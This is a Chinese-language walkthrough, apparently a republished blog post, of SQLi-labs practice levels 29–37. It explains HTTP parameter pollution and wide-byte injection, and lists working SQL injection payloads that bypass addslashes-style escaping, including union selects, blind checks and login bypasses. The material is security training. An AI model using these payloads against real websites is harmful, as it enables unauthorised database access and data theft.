SQLi-labs Page-2_Less-29---Less-37
Posted Michae1
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLi-labs Page-2_Less-29---Less-37相关的知识,希望对你有一定的参考价值。
29-32关和其他有些不一样
参考链接
https://www.cnblogs.com/heiwa-0924/p/12369438.html
https://www.jianshu.com/p/46cb6c354de5
两层服务器:
而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。
而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1--+
,tomcat 只检查第一个参数id=1
,而对第二个参数id=0 or 1=1--+
不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。
该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。
大多数服务器对于参数解析:
Less-29
?id=1\' order by 3%23 //判断注入类型、字段数3
?id=1\'union select 1,2,3%23 //没有找到显示位,关键字也没有被过滤
?id=1&id=2 //返回用户2
?id=1&id=2\' //报错 注入点在第二个参数中
?id=1&id=0\'union select 1,2,3%23 //找到显示位
?id=1&id=0\'union select 1,database(),3%23 //数据库名,没有任何过滤
Less-30
?id=1&id=2\' //正常回显
?id=1&id=2" //报错,双引号字符型
?id=1&id=0"union select 1,2,3%23 //找到显示位
基于盲注
?id=1&id=1"and length(database())=8%23
Less-31
?id=1&id=2") //与30的差别就是 多了个括号
Less-32
绕过-自定义过滤器-添加斜杠到危险字符
过滤代码:
function check_addslashes($string) { $string = preg_replace(\'/\'. preg_quote(\'\\\\\') .\'/\', "\\\\\\\\\\\\", $string); //escape any backslash $string = preg_replace(\'/\\\'/i\', \'\\\\\\\'\', $string); //escape single quote with a backslash $string = preg_replace(\'/\\"/\', "\\\\\\"", $string); //escape double quote with a backslash return $string; }
考虑宽字节注入,让斜杠 失效
?id=1%df\' //报错
?id=-1%bb%27 union select 1,2,3%23
Less-33
绕过AddSlashes()
?id=0%df%27union%20select%201,2,3%23 //宽字节绕过 找到显示位
Less-34
uname=%df\'or 1 limit 2,1%23&passwd=111&submit=Submit
Less-35
参考链接:https://www.jianshu.com/p/f965424fe9a1
这关很调皮,数字型查询根本不需要在乎是否被addslashes()
。
一切回到了第一关,最初始的注入方式。
但还是有存在的必要的,能启发我们思考:当我们面对一个一无所知的网站时应怎么分析后台。
而没有错误回显时,我们又应该怎么判断是数字型注入还是引号被过滤呢?
在能分辨出正确回显和错误回显(有固定字符串)时,id=1
正确回显,尝试id=1\'
和id=1"
:
- 若两者都正确回显:很可能是被过滤引号
- 若两者都错误回显:很可能是数字型查询
- 若一正确一错误:基本可确定是字符型查询
?id=1 and length(database())=8 //盲注
Less-36
绕过:mysql_real_escape_string($string)
?id=0%df%27union%20select%201,2,3%23 //宽字节注入 找到显示位
Less-37
post :
admin%df\'or 1=1 limit 3,1%23
Done!
以上是关于SQLi-labs Page-2_Less-29---Less-37的主要内容,如果未能解决你的问题,请参考以下文章